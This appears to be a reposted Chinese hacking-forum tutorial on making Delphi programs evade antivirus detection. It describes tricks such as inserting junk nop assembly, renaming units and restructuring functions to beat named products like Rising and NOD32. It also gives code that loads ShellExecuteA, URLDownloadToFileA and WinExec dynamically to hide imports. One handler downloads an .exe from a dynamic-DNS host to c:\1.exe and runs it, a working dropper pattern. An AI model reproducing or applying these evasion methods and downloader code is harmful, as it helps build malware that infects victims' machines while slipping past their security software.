转载自甲壳虫论坛
1:加垃圾汇编代码。
其实许多的朋友都是知道的,Delphi支持在代码中嵌套汇编代码。也就是说,如果加入了垃圾汇编代码,就网网可以直接过免杀。
例如:
asm
nop
nop
nop
end;
这样的形式。。。可以在多处加入这样的垃圾代码,该招数对瑞星效果不错,

2:修改单元文件名。
许多的杀毒软件喜欢查杀单元文件名,往往把单元文件名改名后,也可以达到很好的免杀的效果。。。

3:提取出部分函数,COPY到新建的单元里。
这种方法可以很好的改变程序的代码执行结构。可以将自定义的部分函数给COPY到一个新建的单元中去。(注意加入该函数要使用的单元文件。)COPY进去以后的单元再加入到USES下。这样,就不会受任何影响的完成调用功能了。适合查杀指定特征码的杀毒软件。

4:修改函数结构。
其实这个是最难的,实现起来非常辛苦,而往往要调用的许多API都是WIN32下的。。。。NOD32牛X也就牛X到这里了,全区段的查杀函数名或函数结构。虽然系统提供的不能够很好的修改,但不代表每一次杀的都是系统的那部分撒(其实也就NOD32光明正大的去杀调用的WINDOWS提供的API,可能是他认为某些函数只有***工具或***病毒类程序才会调用吧。)自定义函数名和结构是可以改的。当然,有一定的底子,如果还是初学阶段连看都看不懂,还是不要改的比较好。。。。

我总结的免杀Delphi的代码好像也就这几种方法了,其实谈不上什么很好的方法,但的确是很实用的。

下面是部分API调用方法:
SetFileAttributesA 函数
function SetFileAttributes; external kernel32 name ‘SetFileAttributesA’;
function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; stdcall;
BOOL = LongBool;

setattr:function (lpFileName: PChar; dwFileAttributes: DWORD): LongBool; stdcall;
@setattr:=GetProcAddress(LoadLibrary(‘kernel32.dll’),’SetFileAttributesA’);

uses 单元下
var
Down:function(Caller: IUnknown; URL: PChar; FileName: PChar; Longint: DWORD; StatusCB: IBindStatusCallback): Longint; stdcall;
Exec:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
test:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer): System.HINST; stdcall;
gets:function (lpBuffer: PChar; uSize: LongWord): LongWord; stdcall;

procedure TForm1.Button1Click(Sender: TObject);
begin
@test:=GetProcAddress(LoadLibrary(‘shell32.dll’),’ShellExecuteA’);
@Down:=GetProcAddress(LoadLibrary(‘urlmon.dll’),’URLDownloadToFileA’);
@Exec:=GetProcAddress(LoadLibrary(‘kernel32.dll’),’WinExec’);
test(handle, ‘open’,'explorer.exe’, ‘http://625232031.×××bbs.php’,nil, sw_shownormal);
down(nil,’http://135j.vicp.net/1.exe’,'c:\1.exe’,0,nil);
exec(‘c:\1.exe’,sw_show);

shellexecute 函数动态调用:
function ShellExecute; external shell32 name ‘ShellExecuteA’;
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer): HINST; stdcall;
test:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer): System.HINST; stdcall;
HINST = System.HINST;
shell32 = ‘shell32.dll’;

urldownloadfile 函数动态调用:
function URLDownloadToFile(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall;
@down:=GetProcAddress(LoadLibrary(‘urlmon.dll’),’URLDownloadtofileA’);

winexec函数动态调用:
function WinExec; external kernel32 name ‘WinExec’;
function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;
UINT = LongWord;
kernel32 = ‘kernel32.dll’;

GetSystemDirectory函数动态调用:
function GetSystemDirectory; external kernel32 name ‘GetSystemDirectoryA’;
gets:function (lpBuffer: PChar; uSize: LongWord): LongWord; stdcall;
UINT = LongWord;
kernel32 = ‘kernel32.dll’;

GetWindowsDirectory函数动态调用;
function GetWindowsDirectory; external kernel32 name ‘GetWindowsDirectoryA’;
function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall;
getw:function (lpBuffer: PChar; uSize: LongWord): LongWord; stdcall;
UINT = LongWord;
kernel32 = ‘kernel32.dll’;

GetTempPath函数动态调用;
function GetTempPath; external kernel32 name ‘GetTempPathA’;
function GetTempPath(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall;
GetT:function (nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall;
DWORD = Types.DWORD;
kernel32 = ‘kernel32.dll’;

GetCursorPos函数动态调用;
function GetCursorPos; external user32 name ‘GetCursorPos’;
function GetCursorPos(var lpPoint: TPoint): BOOL; stdcall;
GetCPos:function (var lpPoint: TPoint): LongBool; stdcall;
BOOL = LongBool;
user32 = ‘user32.dll’;